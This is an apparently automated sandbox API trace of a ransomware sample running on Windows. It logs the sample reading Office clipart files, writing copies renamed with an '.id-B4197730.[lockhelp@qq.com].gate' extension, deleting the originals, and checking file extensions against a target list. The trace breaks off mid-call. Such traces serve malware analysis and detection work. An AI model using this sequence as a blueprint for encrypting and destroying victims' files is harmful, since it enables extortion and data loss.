1 [0288.145] WriteFile (in: hFile=0x44c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xa60, lpOverlapped=0x0) returned 1 [0288.146] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.146] WriteFile (in: hFile=0x44c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.146] SetEndOfFile (hFile=0x44c) returned 1 [0288.154] CloseHandle (hObject=0x44c) returned 1 [0288.155] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.155] SetEndOfFile (hFile=0x3d0) returned 1 [0288.203] CloseHandle (hObject=0x3d0) returned 1 [0288.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0288.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.204] lstrlenW (lpString=".doc") returned 4 [0288.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.204] lstrlenW (lpString=".docx") returned 5 [0288.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.204] lstrlenW (lpString=".pdf") returned 4 [0288.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.204] lstrlenW (lpString=".xls") returned 4 [0288.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.204] lstrlenW (lpString=".xlsx") returned 5 [0288.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.204] lstrlenW (lpString=".ppt") returned 4 [0288.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.204] lstrlenW (lpString=".zip") returned 4 [0288.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.204] lstrlenW (lpString=".rar") returned 4 [0288.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.204] lstrlenW (lpString=".bz2") returned 4 [0288.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.204] lstrlenW (lpString=".7z") returned 3 [0288.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.205] lstrlenW (lpString=".dbf") returned 4 [0288.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.205] lstrlenW (lpString=".1cd") returned 4 [0288.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.205] lstrlenW (lpString=".jpg") returned 4 [0288.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.205] lstrlenW (lpString=".doc") returned 4 [0288.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString=".docx") returned 5 [0288.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.205] lstrlenW (lpString=".pdf") returned 4 [0288.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString=".xls") returned 4 [0288.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.205] lstrlenW (lpString=".xlsx") returned 5 [0288.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.205] lstrlenW (lpString=".ppt") returned 4 [0288.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.205] lstrlenW (lpString=".zip") returned 4 [0288.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.205] lstrlenW (lpString=".rar") returned 4 [0288.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString=".bz2") returned 4 [0288.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.205] lstrlenW (lpString=".7z") returned 3 [0288.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.205] lstrlenW (lpString=".dbf") returned 4 [0288.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.206] lstrlenW (lpString=".1cd") returned 4 [0288.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0288.206] lstrlenW (lpString=".jpg") returned 4 [0288.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.206] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.206] lstrlenW (lpString="BL00274_.WMF") returned 12 [0288.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0288.206] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4164) returned 1 [0288.206] CloseHandle (hObject=0x3d0) returned 1 [0288.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0288.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0288.207] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.207] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0288.208] GetLastError () returned 0x0 [0288.208] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1044, lpOverlapped=0x0) returned 1 [0288.251] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1050, lpOverlapped=0x0) returned 1 [0288.287] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.287] WriteFile (in: hFile=0x4d0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.287] SetEndOfFile (hFile=0x4d0) returned 1 [0288.288] CloseHandle (hObject=0x4d0) returned 1 [0288.288] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.288] SetEndOfFile (hFile=0x3d0) returned 1 [0288.294] CloseHandle (hObject=0x3d0) returned 1 [0288.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0288.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.298] lstrlenW (lpString=".doc") returned 4 [0288.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.298] lstrlenW (lpString=".docx") returned 5 [0288.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.298] lstrlenW (lpString=".pdf") returned 4 [0288.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.298] lstrlenW (lpString=".xls") returned 4 [0288.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.298] lstrlenW (lpString=".xlsx") returned 5 [0288.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.298] lstrlenW (lpString=".ppt") returned 4 [0288.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.299] lstrlenW (lpString=".zip") returned 4 [0288.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.299] lstrlenW (lpString=".rar") returned 4 [0288.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString=".bz2") returned 4 [0288.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString=".7z") returned 3 [0288.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.299] lstrlenW (lpString=".dbf") returned 4 [0288.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.299] lstrlenW (lpString=".1cd") returned 4 [0288.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.299] lstrlenW (lpString=".jpg") returned 4 [0288.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.299] lstrlenW (lpString=".doc") returned 4 [0288.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString=".docx") returned 5 [0288.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.299] lstrlenW (lpString=".pdf") returned 4 [0288.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString=".xls") returned 4 [0288.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.299] lstrlenW (lpString=".xlsx") returned 5 [0288.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.299] lstrlenW (lpString=".ppt") returned 4 [0288.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.299] lstrlenW (lpString=".zip") returned 4 [0288.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.300] lstrlenW (lpString=".rar") returned 4 [0288.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.300] lstrlenW (lpString=".bz2") returned 4 [0288.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.300] lstrlenW (lpString=".7z") returned 3 [0288.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.300] lstrlenW (lpString=".dbf") returned 4 [0288.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.300] lstrlenW (lpString=".1cd") returned 4 [0288.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0288.300] lstrlenW (lpString=".jpg") returned 4 [0288.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.300] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.300] lstrlenW (lpString="BL00390_.WMF") returned 12 [0288.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.381] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=13102) returned 1 [0288.381] CloseHandle (hObject=0x4c4) returned 1 [0288.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0288.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.382] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.382] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0288.383] GetLastError () returned 0x0 [0288.383] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x332e, lpOverlapped=0x0) returned 1 [0288.405] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x3330, lpOverlapped=0x0) returned 1 [0288.406] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.406] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.406] SetEndOfFile (hFile=0x4b8) returned 1 [0288.411] CloseHandle (hObject=0x4b8) returned 1 [0288.413] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.413] SetEndOfFile (hFile=0x4c4) returned 1 [0288.425] CloseHandle (hObject=0x4c4) returned 1 [0288.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0288.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.427] lstrlenW (lpString=".doc") returned 4 [0288.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.427] lstrlenW (lpString=".docx") returned 5 [0288.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.427] lstrlenW (lpString=".pdf") returned 4 [0288.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.427] lstrlenW (lpString=".xls") returned 4 [0288.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.427] lstrlenW (lpString=".xlsx") returned 5 [0288.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.427] lstrlenW (lpString=".ppt") returned 4 [0288.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.427] lstrlenW (lpString=".zip") returned 4 [0288.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.427] lstrlenW (lpString=".rar") returned 4 [0288.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString=".bz2") returned 4 [0288.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString=".7z") returned 3 [0288.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.428] lstrlenW (lpString=".dbf") returned 4 [0288.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.428] lstrlenW (lpString=".1cd") returned 4 [0288.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.428] lstrlenW (lpString=".jpg") returned 4 [0288.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.428] lstrlenW (lpString=".doc") returned 4 [0288.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString=".docx") returned 5 [0288.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.428] lstrlenW (lpString=".pdf") returned 4 [0288.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString=".xls") returned 4 [0288.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.428] lstrlenW (lpString=".xlsx") returned 5 [0288.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.428] lstrlenW (lpString=".ppt") returned 4 [0288.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.429] lstrlenW (lpString=".zip") returned 4 [0288.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.429] lstrlenW (lpString=".rar") returned 4 [0288.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.429] lstrlenW (lpString=".bz2") returned 4 [0288.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.429] lstrlenW (lpString=".7z") returned 3 [0288.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.429] lstrlenW (lpString=".dbf") returned 4 [0288.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.429] lstrlenW (lpString=".1cd") returned 4 [0288.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0288.429] lstrlenW (lpString=".jpg") returned 4 [0288.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.429] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.429] lstrlenW (lpString="BL00648_.WMF") returned 12 [0288.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.431] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11500) returned 1 [0288.431] CloseHandle (hObject=0x4c4) returned 1 [0288.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0288.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0288.431] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.431] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.432] GetLastError () returned 0x0 [0288.432] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2cec, lpOverlapped=0x0) returned 1 [0288.638] WriteFile (in: hFile=0x414, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0288.639] ReadFile (in: 